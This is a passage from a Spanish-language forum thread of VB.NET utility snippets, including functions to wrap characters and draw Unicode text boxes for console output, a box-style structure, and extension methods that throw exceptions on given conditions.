  51.        ''' </param>
  52.        ''' ----------------------------------------------------------------------------------------------------
  53.        ''' <param name="leftChar">
  54.        ''' The character used for decorating the left side of the characters in the input string.
  55.        ''' </param>
  56.        '''
  57.        ''' <param name="rightChar">
  58.        ''' The character used for decorating the right side of the characters in the input string.
  59.        ''' </param>
  60.        '''
  61.        ''' <param name="surroundNonAlphanumeric">
  62.        ''' If true, also decorates non-alphanumeric characters.
  63.        ''' <para></para>
  64.        ''' Default value is: False.
  65.        ''' </param>
  66.        '''
  67.        ''' <param name="squishRepeatedDecorationChars">
  68.        ''' If true, and if <paramref name="leftChar"/> and <paramref name="rightChar"/> are the same characters,
  69.        ''' only draws the decorative symbol for the left side of the characters in the input string.
  70.        ''' <para></para>
  71.        ''' Default value is: False.
  72.        ''' </param>
  73.        ''' ----------------------------------------------------------------------------------------------------
  74.        ''' <returns>
  75.        ''' The resulting decorated string.
  76.        ''' </returns>
  77.        ''' ----------------------------------------------------------------------------------------------------
  78.        <DebuggerStepThrough>
  79.        Public Shared Function WrapCharacters(input As String, leftChar As Char, rightChar As Char,
  80.                                              Optional surroundNonAlphanumeric As Boolean = False,
  81.                                              Optional squishRepeatedDecorationChars As Boolean = False) As String
  82.  
  83.            If String.IsNullOrEmpty(input) Then
  84.                Throw New ArgumentNullException(paramName:=NameOf(input))
  85.            End If
  86.  
  87.            If leftChar.Equals(Nothing) Then
  88.                Throw New ArgumentNullException(paramName:=NameOf(leftChar))
  89.            End If
  90.  
  91.            If rightChar.Equals(Nothing) Then
  92.                Throw New ArgumentNullException(paramName:=NameOf(rightChar))
  93.            End If
  94.  
  95.            Dim areSameDecorationChars As Boolean = (leftChar = rightChar)
  96.  
  97.            Dim sb As New StringBuilder()
  98.            For Each c As Char In input
  99.                Dim decoratedChar As String =
  100.                If(Char.IsLetterOrDigit(c) OrElse (surroundNonAlphanumeric AndAlso Not Char.IsWhiteSpace(c)),
  101.                   If(squishRepeatedDecorationChars AndAlso areSameDecorationChars,
  102.                      $"{leftChar}{c}",
  103.                      $"{leftChar}{c}{rightChar}"),
  104.                   c)
  105.  
  106.                sb.Append(decoratedChar)
  107.            Next
  108.  
  109.            Return sb.ToString()
  110.        End Function
  111.  
  112. #End Region
  113.  
  114.    End Class
  115.  
  116. End Namespace
  117.  
  118. #End Region
  119.  
  120.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 09:38 am
Un algoritmo para dibujar cajas unicode envolviendo un texto. Útil para decorar la interfaz de aplicaciones de consola.

Inspirado en este servicio: https://onlinetexttools.com/draw-box-around-text
( el resultado debería ser idéntico. )

Ejemplo de uso:

Código
  1. Dim input As String = "Push this button!"
  2. Dim verticalPadding As Integer = 1
  3. Dim horizontalPadding As Integer = 2
  4. Dim fillChar As Char = "&#9608;"c
  5. Dim drawingStyle As New BoxDrawingStyle With {
  6.        .Top = "&#9552;"c, .Bottom = "&#9552;"c,
  7.        .Left = "&#9553;"c, .Right = "&#9553;"c,
  8.        .TopLeft = "&#9556;"c,
  9.        .TopRight = "&#9559;"c,
  10.        .BottomLeft = "&#9562;"c,
  11.        .BottomRight = "&#9565;"c
  12.    }
  13.  
  14. Dim result As String = DrawTextBox(input, verticalPadding, horizontalPadding, fillChar, drawingStyle)
  15.  
  16. Console.WriteLine(result)
  17. IO.File.WriteAllText("\box.txt", result, Encoding.Unicode)
  18.  

Salida:
(https://i.imgur.com/2mlpD2O.png)



UtilString.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 11-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Functions "
  9.  
  10. ' DrawTextBox(String, Opt: Integer, Opt: Integer, Opt: Char, Opt: BoxDrawingStyle) As String
  11.  
  12. #End Region
  13.  
  14. #End Region
  15.  
  16. #Region " Option Statements "
  17.  
  18. Option Strict On
  19. Option Explicit On
  20. Option Infer Off
  21.  
  22. #End Region
  23.  
  24. #Region " Imports "
  25.  
  26. Imports System.Linq
  27. Imports System.Text
  28.  
  29. #End Region
  30.  
  31. #Region " String Util "
  32.  
  33. ' ReSharper disable once CheckNamespace
  34.  
  35. Namespace DevCase.Core.DataProcessing.Common
  36.  
  37.    Partial Public NotInheritable Class UtilString
  38.  
  39. #Region " Public Methods "
  40.  
  41.        ''' ----------------------------------------------------------------------------------------------------
  42.        ''' <summary>
  43.        ''' Draws a box around the specified text, that is, a text-box.
  44.        ''' </summary>
  45.        ''' ----------------------------------------------------------------------------------------------------
  46.        ''' <example> This is a code example.
  47.        ''' <code language="VB.NET">
  48.        ''' Dim input As String = "Push this button!"
  49.        ''' Dim verticalPadding As Integer = 1
  50.        ''' Dim horizontalPadding As Integer = 2
  51.        ''' Dim fillChar As Char = "&#9608;"c
  52.        ''' Dim drawingStyle As New BoxDrawingStyle With {
  53.        '''         .Top = "&#9552;"c, .Bottom = "&#9552;"c,
  54.        '''         .Left = "&#9553;"c, .Right = "&#9553;"c,
  55.        '''         .TopLeft = "&#9556;"c,
  56.        '''         .TopRight = "&#9559;"c,
  57.        '''         .BottomLeft = "&#9562;"c,
  58.        '''         .BottomRight = "&#9565;"c
  59.        '''     }
  60.        '''
  61.        ''' Dim result As String = DrawTextBox(input, verticalPadding, horizontalPadding, fillChar, drawingStyle)
  62.        '''
  63.        ''' Console.WriteLine(result)
  64.        ''' IO.File.WriteAllText("\box.txt", result, Encoding.Unicode)
  65.        ''' ' Output:
  66.        ''' ' &#9556;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9559;
  67.        ''' ' &#9553;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9553;
  68.        ''' ' &#9553;&#9608;&#9608;Push this button!&#9608;&#9608;&#9553;
  69.        ''' ' &#9553;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9608;&#9553;
  70.        ''' ' &#9562;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9552;&#9565;
  71.        ''' </code>
  72.        ''' </example>
  73.        ''' ----------------------------------------------------------------------------------------------------
  74.        ''' <param name="input">
  75.        ''' The input text to be boxed.
  76.        ''' </param>
  77.        '''
  78.        ''' <param name="verticalPadding">
  79.        ''' Optional. The number of vertical padding lines. Default value is: '0'.
  80.        ''' </param>
  81.        '''
  82.        ''' <param name="horizontalPadding">
  83.        ''' Optional. The number of horizontal padding characters. Default value is: '0'.
  84.        ''' </param>
  85.        '''
  86.        ''' <param name="fillChar">
  87.        ''' Optional. The character used to fill the empty space in the box. Default value is: " " (white-space).
  88.        ''' </param>
  89.        '''
  90.        ''' <param name="drawingStyle">
  91.        ''' Optional. The style of the box drawing. If not specified, a default style will be used.
  92.        ''' <para></para>
  93.        ''' If this value is null, "-" character is used for vertical sides,
  94.        ''' "|" for horizontal sides and "+" for all corners.
  95.        ''' <para></para>
  96.        ''' Default value is: null.
  97.        ''' </param>
  98.        ''' ----------------------------------------------------------------------------------------------------
  99.        ''' <returns>
  100.        ''' The resulting string containing the text enclosed in the box.
  101.        ''' </returns>
  102.        ''' --------------------------------------------------------------------------------------------------
  103.        <DebuggerStepThrough>
  104.        Public Shared Function DrawTextBox(input As String,
  105.                                           Optional verticalPadding As Integer = 0,
  106.                                           Optional horizontalPadding As Integer = 0,
  107.                                           Optional fillChar As Char = " "c,
  108.                                           Optional drawingStyle As BoxDrawingStyle = Nothing) As String
  109.  
  110.  
  111.            If String.IsNullOrEmpty(input) Then
  112.                Throw New ArgumentNullException(paramName:=NameOf(input))
  113.            End If
  114.  
  115.            If verticalPadding < 0 Then
  116.                Throw New ArgumentException("Value can't be less than zero.", paramName:=NameOf(input))
  117.            End If
  118.  
  119.            If horizontalPadding < 0 Then
  120.                Throw New ArgumentException("Value can't be less than zero.", paramName:=NameOf(input))
  121.            End If
  122.  
  123.            If fillChar.Equals(Nothing) Then
  124.                Throw New ArgumentNullException(paramName:=NameOf(fillChar))
  125.            End If
  126.  
  127.            If drawingStyle = BoxDrawingStyle.Empty Then
  128.                drawingStyle = New BoxDrawingStyle With {
  129.                .Top = "-"c, .Bottom = "-"c,
  130.                .Left = "|"c, .Right = "|"c,
  131.                .TopLeft = "+"c,
  132.                .TopRight = "+"c,
  133.                .BottomLeft = "+"c,
  134.                .BottomRight = "+"c
  135.            }
  136.            End If
  137.  
  138.            Dim lines As String() = input.Split({Environment.NewLine}, StringSplitOptions.None)
  139.            Dim linesLength As Integer = lines.Length
  140.            Dim maxLength As Integer = lines.Max(Function(line As String) line.Length)
  141.            Dim boxWidth As Integer = maxLength + (horizontalPadding * 2)
  142.            Dim boxHeight As Integer = linesLength + (verticalPadding * 2)
  143.  
  144.            Dim sb As New StringBuilder()
  145.  
  146.            ' Draw top line.
  147.            sb.AppendLine(drawingStyle.TopLeft & New String(drawingStyle.Top, boxWidth) & drawingStyle.TopRight)
  148.  
  149.            ' Draw top padding line(s).
  150.            For i As Integer = 0 To verticalPadding - 1
  151.                sb.AppendLine(drawingStyle.Left & New String(fillChar, boxWidth) & drawingStyle.Right)
  152.            Next
  153.  
  154.            ' Draw inner line(s).
  155.            For i As Integer = 0 To lines.Length - 1
  156.                Dim paddedLine As String = lines(i).PadRight(maxLength, fillChar)
  157.                sb.AppendLine(drawingStyle.Left & New String(fillChar, horizontalPadding) & paddedLine & New String(fillChar, horizontalPadding) & drawingStyle.Right)
  158.            Next
  159.  
  160.            ' Draw bottom padding line(s).
  161.            For i As Integer = 0 To verticalPadding - 1
  162.                sb.AppendLine(drawingStyle.Left & New String(fillChar, boxWidth) & drawingStyle.Right)
  163.            Next
  164.  
  165.            ' Draw bottom line.
  166.            sb.AppendLine(drawingStyle.BottomLeft & New String(drawingStyle.Bottom, boxWidth) & drawingStyle.BottomRight)
  167.            Return sb.ToString()
  168.        End Function
  169.  
  170. #End Region
  171.  
  172.    End Class
  173.  
  174. End Namespace
  175.  
  176. #End Region
  177.  



BoxDrawingStyle.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 11-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict Off
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " Usage Examples "
  15.  
  16. #End Region
  17.  
  18. #Region " Imports "
  19.  
  20. Imports System.Runtime.InteropServices
  21. Imports System.Xml.Serialization
  22.  
  23. #End Region
  24.  
  25. #Region " BoxDrawingStyle "
  26.  
  27. ' ReSharper disable once CheckNamespace
  28.  
  29. Namespace DevCase.Core.DataProcessing.Common
  30.  
  31.    ''' ----------------------------------------------------------------------------------------------------
  32.    ''' <summary>
  33.    ''' Defines the characters used to draw the sides and corners of a box.
  34.    ''' </summary>
  35.    ''' --------------------------------------------------------------------------------------------------
  36.    <Serializable>
  37.    <XmlRoot(NameOf(BoxDrawingStyle))>
  38.    <StructLayout(LayoutKind.Sequential)>
  39.    Public Structure BoxDrawingStyle
  40.  
  41. #Region " Fields "
  42.  
  43.        ''' ----------------------------------------------------------------------------------------------------
  44.        ''' <summary>
  45.        ''' The character used for the top line of the box.
  46.        ''' </summary>
  47.        ''' ----------------------------------------------------------------------------------------------------
  48.        Public Top As Char
  49.  
  50.        ''' ----------------------------------------------------------------------------------------------------
  51.        ''' <summary>
  52.        ''' The character used for the bottom line of the box.
  53.        ''' </summary>
  54.        ''' ----------------------------------------------------------------------------------------------------
  55.        Public Bottom As Char
  56.  
  57.        ''' ----------------------------------------------------------------------------------------------------
  58.        ''' <summary>
  59.        ''' The character used for the left border of the box.
  60.        ''' </summary>
  61.        ''' ----------------------------------------------------------------------------------------------------
  62.        Public Left As Char
  63.  
  64.        ''' ----------------------------------------------------------------------------------------------------
  65.        ''' <summary>
  66.        ''' The character used for the right border of the box.
  67.        ''' </summary>
  68.        ''' ----------------------------------------------------------------------------------------------------
  69.        Public Right As Char
  70.  
  71.        ''' ----------------------------------------------------------------------------------------------------
  72.        ''' <summary>
  73.        ''' The character used for the top-left corner of the box.
  74.        ''' </summary>
  75.        ''' ----------------------------------------------------------------------------------------------------
  76.        Public TopLeft As Char
  77.  
  78.        ''' ----------------------------------------------------------------------------------------------------
  79.        ''' <summary>
  80.        ''' The character used for the top-right corner of the box.
  81.        ''' </summary>
  82.        ''' ----------------------------------------------------------------------------------------------------
  83.        Public TopRight As Char
  84.  
  85.        ''' ----------------------------------------------------------------------------------------------------
  86.        ''' <summary>
  87.        ''' The character used for the bottom-left corner of the box.
  88.        ''' </summary>
  89.        ''' ----------------------------------------------------------------------------------------------------
  90.        Public BottomLeft As Char
  91.  
  92.        ''' ----------------------------------------------------------------------------------------------------
  93.        ''' <summary>
  94.        ''' The character used for the bottom-right corner of the box.
  95.        ''' </summary>
  96.        ''' ----------------------------------------------------------------------------------------------------
  97.        Public BottomRight As Char
  98.  
  99. #End Region
  100.  
  101. #Region " Properties "
  102.  
  103.        ''' ----------------------------------------------------------------------------------------------------
  104.        ''' <summary>
  105.        ''' Gets a <see cref="BoxDrawingStyle"/> with all characters set to null.
  106.        ''' </summary>
  107.        ''' ----------------------------------------------------------------------------------------------------
  108.        Public Shared ReadOnly Property Empty As BoxDrawingStyle
  109.            Get
  110.                Return New BoxDrawingStyle()
  111.            End Get
  112.        End Property
  113.  
  114. #End Region
  115.  
  116. #Region " Public Methods "
  117.  
  118.        ''' ----------------------------------------------------------------------------------------------------
  119.        ''' <summary>
  120.        ''' Determines whether this instance of <see cref="BoxDrawingStyle"/> is equal to another object.
  121.        ''' </summary>
  122.        ''' ----------------------------------------------------------------------------------------------------
  123.        ''' <param name="obj">
  124.        ''' The object to compare with this instance.
  125.        ''' </param>
  126.        ''' ----------------------------------------------------------------------------------------------------
  127.        ''' <returns>
  128.        ''' <see langword="true"/> if the specified object is equal to this instance;
  129.        ''' otherwise, <see langword="false"/>.
  130.        ''' </returns>
  131.        ''' ----------------------------------------------------------------------------------------------------
  132.        Public Overrides Function Equals(obj As Object) As Boolean
  133.            If TypeOf obj Is BoxDrawingStyle Then
  134.                Dim otherStyle As BoxDrawingStyle = DirectCast(obj, BoxDrawingStyle)
  135.                Return Me.Top = otherStyle.Top AndAlso
  136.                       Me.Bottom = otherStyle.Bottom AndAlso
  137.                       Me.Left = otherStyle.Left AndAlso
  138.                       Me.Right = otherStyle.Right AndAlso
  139.                       Me.TopLeft = otherStyle.TopLeft AndAlso
  140.                       Me.TopRight = otherStyle.TopRight AndAlso
  141.                       Me.BottomLeft = otherStyle.BottomLeft AndAlso
  142.                       Me.BottomRight = otherStyle.BottomRight
  143.            End If
  144.            Return False
  145.        End Function
  146.  
  147. #End Region
  148.  
  149. #Region " Operators "
  150.  
  151.        ''' ----------------------------------------------------------------------------------------------------
  152.        ''' <summary>
  153.        ''' Determines whether two instances of <see cref="BoxDrawingStyle"/> are equal.
  154.        ''' </summary>
  155.        ''' ----------------------------------------------------------------------------------------------------
  156.        ''' <param name="style1">
  157.        ''' The first <see cref="BoxDrawingStyle"/> to compare.
  158.        ''' </param>
  159.        '''
  160.        ''' <param name="style2">
  161.        ''' The second <see cref="BoxDrawingStyle"/> to compare.
  162.        ''' </param>
  163.        ''' ----------------------------------------------------------------------------------------------------
  164.        ''' <returns>
  165.        ''' <see langword="true"/> if the specified instances are equal; otherwise, <see langword="false"/>.
  166.        ''' </returns>
  167.        ''' ----------------------------------------------------------------------------------------------------
  168.        Public Shared Operator =(style1 As BoxDrawingStyle, style2 As BoxDrawingStyle) As Boolean
  169.            Return style1.Top = style2.Top AndAlso
  170.                       style1.Bottom = style2.Bottom AndAlso
  171.                       style1.Left = style2.Left AndAlso
  172.                       style1.Right = style2.Right AndAlso
  173.                       style1.TopLeft = style2.TopLeft AndAlso
  174.                       style1.TopRight = style2.TopRight AndAlso
  175.                       style1.BottomLeft = style2.BottomLeft AndAlso
  176.                       style1.BottomRight = style2.BottomRight
  177.        End Operator
  178.  
  179.        ''' ----------------------------------------------------------------------------------------------------
  180.        ''' <summary>
  181.        ''' Determines whether two instances of <see cref="BoxDrawingStyle"/> are not equal.
  182.        ''' </summary>
  183.        ''' ----------------------------------------------------------------------------------------------------
  184.        ''' <param name="style1">
  185.        ''' The first <see cref="BoxDrawingStyle"/> to compare.
  186.        ''' </param>
  187.        '''
  188.        ''' <param name="style2">
  189.        ''' The second <see cref="BoxDrawingStyle"/> to compare.
  190.        ''' </param>
  191.        ''' ----------------------------------------------------------------------------------------------------
  192.        ''' <returns>
  193.        ''' <see langword="true"/> if the specified instances are not equal; otherwise, <see langword="false"/>.
  194.        ''' </returns>
  195.        ''' ----------------------------------------------------------------------------------------------------
  196.        Public Shared Operator <>(style1 As BoxDrawingStyle, style2 As BoxDrawingStyle) As Boolean
  197.            Return Not (style1 = style2)
  198.        End Operator
  199.  
  200. #End Region
  201.  
  202.    End Structure
  203.  
  204. End Namespace
  205.  
  206. #End Region
  207.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 10:02 am
Algunos atajos a modo de extensiones de métodos para simplificar la generación de excepciones al cumplir cierta condición en un objeto.

Ejemplos de uso:

- Object.ThrowIf
Código
  1. Dim value As Integer = 0
  2. ' value.ThrowIf(Of ArgumentOutOfRangeException)(Function(x) x = 0)
  3. value.ThrowIf(Function(x) x = 0, New ArgumentOutOfRangeException(paramName:=NameOf(value)))

- Object.ThrowIfNotInRange
Código
  1. Dim value As Integer = 10
  2. ' value.ThrowIfNotInRange(min:=1, max:=9)
  3. value.ThrowIfNotInRange(min:=1, max:=9, message:="Value is not within the allowed range.", paramName:=NameOf(value))

- Object.ThrowIfNull
Código
  1. Dim obj As Object = Nothing
  2. ' obj.ThrowIfNull(Of ArgumentNullException)
  3. obj.ThrowIfNull(New ArgumentNullException(paramName:=NameOf(obj)))

- Object.ThrowIfDefault
Código
  1. Dim obj As Integer = 0
  2. ' obj.ThrowIfDefault(Of ArgumentNullException)
  3. obj.ThrowIfDefault(New ArgumentNullException(paramName:=NameOf(obj)))



Y para un valor booleano:

- Boolean.ThrowIfFalse
Código
  1. Dim value As Boolean = False
  2. ' value.ThrowIfFalse(Of ArgumentException)
  3. value.ThrowIfFalse(New ArgumentException(message:="'true' expected.", paramName:=NameOf(value)))

- Boolean.ThrowIfTrue
Código
  1. Dim value As Boolean = True
  2. ' value.ThrowIfTrue(Of ArgumentException)
  3. value.ThrowIfTrue(New ArgumentException(message:="'false' expected.", paramName:=NameOf(value)))



ObjectExtensions.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 09-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. ' Object.ThrowIf(Of TObject, TException As Exception)(Func(Of TObject, Boolean), Opt: TException)
  9. ' Object.ThrowIfNull(Of TException As Exception)(Opt: TException)
  10. ' Object.ThrowIfDefault(Of TException As Exception)(Opt: TException)
  11. ' Object.ThrowIfNotInRange(T, T, Opt: String, Opt: String)
  12.  
  13. ' Object.IsDefault As Boolean
  14.  
  15. #End Region
  16.  
  17. #Region " Option Statements "
  18.  
  19. Option Strict On
  20. Option Explicit On
  21. Option Infer Off
  22.  
  23. #End Region
  24.  
  25. #Region " Imports "
  26.  
  27. Imports System.ComponentModel
  28. Imports System.Reflection
  29. Imports System.Runtime.CompilerServices
  30.  
  31. #End Region
  32.  
  33. #Region " Object Extensions "
  34.  
  35. ' ReSharper disable once CheckNamespace
  36.  
  37. Namespace DevCase.Extensions.ObjectExtensions
  38.  
  39.    ''' ----------------------------------------------------------------------------------------------------
  40.    ''' <summary>
  41.    ''' Contains custom extension methods to use with the <see cref="Object"/> type.
  42.    ''' </summary>
  43.    ''' ----------------------------------------------------------------------------------------------------
  44.    <ImmutableObject(True)>
  45.    <HideModuleName>
  46.    Public Module ObjectExtensions
  47.  
  48. #Region " Public Extension Methods "
  49.  
  50.        ''' ----------------------------------------------------------------------------------------------------
  51.        ''' <summary>
  52.        ''' Throws the specified exception if the given condition in the source object is true.
  53.        ''' </summary>
  54.        ''' ----------------------------------------------------------------------------------------------------
  55.        ''' <example> This is a code example.
  56.        ''' <code language="VB.NET">
  57.        ''' Dim value As Integer = 0
  58.        ''' ' value.ThrowIf(Of ArgumentOutOfRangeException)(Function(x) x = 0)
  59.        ''' value.ThrowIf(Function(x) x = 0, New ArgumentOutOfRangeException(paramName:=NameOf(value)))
  60.        ''' </code>
  61.        ''' </example>
  62.        ''' ----------------------------------------------------------------------------------------------------
  63.        ''' <typeparam name="TObject">
  64.        ''' The type of object to evaluate.
  65.        ''' </typeparam>
  66.        '''
  67.        ''' <typeparam name="TException">
  68.        ''' The type of exception to throw.
  69.        ''' </typeparam>
  70.        '''
  71.        ''' <param name="obj">
  72.        ''' The object to evaluate.
  73.        ''' </param>
  74.        '''
  75.        ''' <param name="predicate">
  76.        ''' The predicate function to evaluate the object.
  77.        ''' </param>
  78.        '''
  79.        ''' <param name="ex">
  80.        ''' Optionally, a instance of the exception to throw when
  81.        ''' the <paramref name="predicate"/> condition is true.
  82.        ''' <para></para>
  83.        ''' If this value is null, a default instance of the exception type will be used.
  84.        ''' </param>
  85.        ''' ----------------------------------------------------------------------------------------------------
  86.        <DebuggerStepThrough>
  87.        <Extension>
  88.        <EditorBrowsable(EditorBrowsableState.Always)>
  89.        Public Sub ThrowIf(Of TObject, TException As Exception)(obj As TObject,
  90.                                                                predicate As Func(Of TObject, Boolean),
  91.                                                                Optional ex As TException = Nothing)
  92.  
  93.            If predicate(obj) Then
  94.                If ex Is Nothing Then
  95.                    ex = Activator.CreateInstance(Of TException)
  96.                End If
  97.                Throw ex
  98.            End If
  99.        End Sub
  100.  
  101.        ''' ----------------------------------------------------------------------------------------------------
  102.        ''' <summary>
  103.        ''' Throws the specified exception if the source object is null.
  104.        ''' </summary>
  105.        ''' ----------------------------------------------------------------------------------------------------
  106.        ''' <example> This is a code example.
  107.        ''' <code language="VB.NET">
  108.        ''' Dim obj As Object = Nothing
  109.        ''' ' obj.ThrowIfNull(Of ArgumentNullException)
  110.        ''' obj.ThrowIfNull(New ArgumentNullException(paramName:=NameOf(obj)))
  111.        ''' </code>
  112.        ''' </example>
  113.        ''' ----------------------------------------------------------------------------------------------------
  114.        ''' <typeparam name="TException">
  115.        ''' The type of exception to throw.
  116.        ''' </typeparam>
  117.        '''
  118.        ''' <param name="obj">
  119.        ''' The object to check for null.
  120.        ''' </param>
  121.        '''
  122.        ''' <param name="ex">
  123.        ''' Optionally, a instance of the exception to throw when the source object is null.
  124.        ''' <para></para>
  125.        ''' If this value is null, a default instance of the exception type will be used.
  126.        ''' </param>
  127.        ''' ----------------------------------------------------------------------------------------------------
  128.        <DebuggerStepThrough>
  129.        <Extension>
  130.        <EditorBrowsable(EditorBrowsableState.Always)>
  131.        Public Sub ThrowIfNull(Of TException As Exception)(obj As Object, Optional ex As TException = Nothing)
  132.  
  133.            If obj Is Nothing Then
  134.                If ex Is Nothing Then
  135.                    ex = Activator.CreateInstance(Of TException)
  136.                End If
  137.                Throw ex
  138.            End If
  139.  
  140.        End Sub
  141.  
  142.        ''' ----------------------------------------------------------------------------------------------------
  143.        ''' <summary>
  144.        ''' Throws the specified exception if the source object is the default value of its type.
  145.        ''' </summary>
  146.        ''' ----------------------------------------------------------------------------------------------------
  147.        ''' <example> This is a code example.
  148.        ''' <code language="VB.NET">
  149.        ''' Dim obj As Integer = 0
  150.        ''' ' obj.ThrowIfDefault(Of ArgumentNullException)
  151.        ''' obj.ThrowIfDefault(New ArgumentNullException(paramName:=NameOf(obj)))
  152.        ''' </code>
  153.        ''' </example>
  154.        ''' ----------------------------------------------------------------------------------------------------
  155.        ''' <typeparam name="TException">
  156.        ''' The type of exception to throw.
  157.        ''' </typeparam>
  158.        '''
  159.        ''' <param name="obj">
  160.        ''' The object to evaluate.
  161.        ''' </param>
  162.        '''
  163.        ''' <param name="ex">
  164.        ''' Optionally, a instance of the exception to throw when the source object is the default value of its type.
  165.        ''' <para></para>
  166.        ''' If this value is null, a default instance of the exception type will be used.
  167.        ''' </param>
  168.        ''' ----------------------------------------------------------------------------------------------------
  169.        <DebuggerStepThrough>
  170.        <Extension>
  171.        <EditorBrowsable(EditorBrowsableState.Always)>
  172.        Public Sub ThrowIfDefault(Of TObject, TException As Exception)(obj As TObject, Optional ex As TException = Nothing)
  173.            If obj.IsDefault() Then
  174.                If ex Is Nothing Then
  175.                    ex = Activator.CreateInstance(Of TException)
  176.                End If
  177.                Throw ex
  178.            End If
  179.        End Sub
  180.  
  181.        ''' ----------------------------------------------------------------------------------------------------
  182.        ''' <summary>
  183.        ''' Throws an <see cref="ArgumentOutOfRangeException"/> if the
  184.        ''' source value is not within the specified range.
  185.        ''' </summary>
  186.        ''' ----------------------------------------------------------------------------------------------------
  187.        ''' <example> This is a code example.
  188.        ''' <code language="VB.NET">
  189.        ''' Dim value As Integer = 10
  190.        ''' ' value.ThrowIfNotInRange(min:=1, max:=9)
  191.        ''' value.ThrowIfNotInRange(min:=1, max:=9, message:="Value is not within the allowed range.", paramName:=NameOf(value))
  192.        ''' </code>
  193.        ''' </example>
  194.        ''' ----------------------------------------------------------------------------------------------------
  195.        ''' <typeparam name="T">
  196.        ''' The type of value to evaluate.
  197.        ''' </typeparam>
  198.        '''
  199.        ''' <param name="value">
  200.        ''' The value to evaluate.
  201.        ''' </param>
  202.        '''
  203.        ''' <param name="min">
  204.        ''' The minimum allowed value (inclusive).
  205.        ''' </param>
  206.        '''
  207.        ''' <param name="max">
  208.        ''' The maximum allowed value (inclusive).
  209.        ''' </param>
  210.        '''
  211.        ''' <param name="message">
  212.        ''' Optionally, the custom error message for the <see cref="ArgumentOutOfRangeException"/>.
  213.        ''' </param>
  214.        '''
  215.        ''' <param name="paramName">
  216.        ''' Optionally, the name of the parameter that caused the <see cref="ArgumentOutOfRangeException"/>.
  217.        ''' </param>
  218.        ''' ----------------------------------------------------------------------------------------------------
  219.        ''' <exception cref="ArgumentOutOfRangeException">
  220.        ''' Thrown when the value is not within the specified range.
  221.        ''' </exception>
  222.        ''' ----------------------------------------------------------------------------------------------------
  223.        <DebuggerStepThrough>
  224.        <Extension>
  225.        <EditorBrowsable(EditorBrowsableState.Always)>
  226.        Public Sub ThrowIfNotInRange(Of T As {IComparable(Of T), IConvertible, IEquatable(Of T), IFormattable})(value As T, min As T, max As T,
  227.                                                                                                                Optional message As String = Nothing,
  228.                                                                                                                Optional paramName As String = Nothing)
  229.  
  230.            If value.CompareTo(min) < 0 OrElse value.CompareTo(max) > 0 Then
  231. #Disable Warning CA2208 ' Instantiate argument exceptions correctly
  232.                Dim ex As New ArgumentOutOfRangeException()
  233. #Enable Warning CA2208 ' Instantiate argument exceptions correctly
  234.                Dim messageField As FieldInfo = Nothing
  235.                Dim actualValueField As FieldInfo = Nothing
  236.                Dim paramNameField As FieldInfo = Nothing
  237.                Dim bindingFlags As BindingFlags = BindingFlags.Instance Or BindingFlags.NonPublic
  238.  
  239.                Dim exType As Type = ex.GetType()
  240.                If actualValueField Is Nothing Then
  241.                    actualValueField = exType.GetField("m_actualValue", bindingFlags)
  242.                End If
  243.  
  244.                Do While exType IsNot Nothing AndAlso
  245.                        ((message IsNot Nothing AndAlso messageField Is Nothing) OrElse
  246.                         (paramName IsNot Nothing AndAlso paramNameField Is Nothing))
  247.  
  248.                    If actualValueField Is Nothing Then
  249.                        actualValueField = exType.GetField("m_actualValue", bindingFlags)
  250.                    End If
  251.  
  252.                    If message IsNot Nothing AndAlso messageField Is Nothing Then
  253.                        messageField = exType.GetField("_message", bindingFlags)
  254.                    End If
  255.  
  256.                    If paramName IsNot Nothing AndAlso paramNameField Is Nothing Then
  257.                        paramNameField = exType.GetField("m_paramName", bindingFlags)
  258.                    End If
  259.  
  260.                    exType = exType.BaseType
  261.                Loop
  262.  
  263.                actualValueField?.SetValue(ex, value)
  264.                messageField?.SetValue(ex, message)
  265.                paramNameField?.SetValue(ex, paramName)
  266.                Throw ex
  267.            End If
  268.        End Sub
  269.  
  270.        ''' ----------------------------------------------------------------------------------------------------
  271.        ''' <summary>
  272.        ''' Determines whether the source object is the default value of its type.
  273.        ''' </summary>
  274.        ''' ----------------------------------------------------------------------------------------------------
  275.        ''' <typeparam name="T">
  276.        ''' The type of the objectto evaluate.
  277.        ''' </typeparam>
  278.        '''
  279.        ''' <param name="obj">
  280.        ''' The object to evaluate.
  281.        ''' </param>
  282.        ''' ----------------------------------------------------------------------------------------------------
  283.        ''' <returns>
  284.        ''' Returns True if the source object is the default value of its type; otherwise, False.
  285.        ''' </returns>
  286.        ''' ----------------------------------------------------------------------------------------------------
  287.        <DebuggerStepThrough>
  288.        <Extension>
  289.        <EditorBrowsable(EditorBrowsableState.Always)>
  290.        Public Function IsDefault(Of T)(obj As T) As Boolean
  291.            Return EqualityComparer(Of T).Default.Equals(obj, Nothing)
  292.        End Function
  293.  
  294. #End Region
  295.  
  296.    End Module
  297.  
  298. End Namespace
  299.  
  300. #End Region
  301.  




BooleanExtensions.vb
Código
  1. ' ***********************************************************************
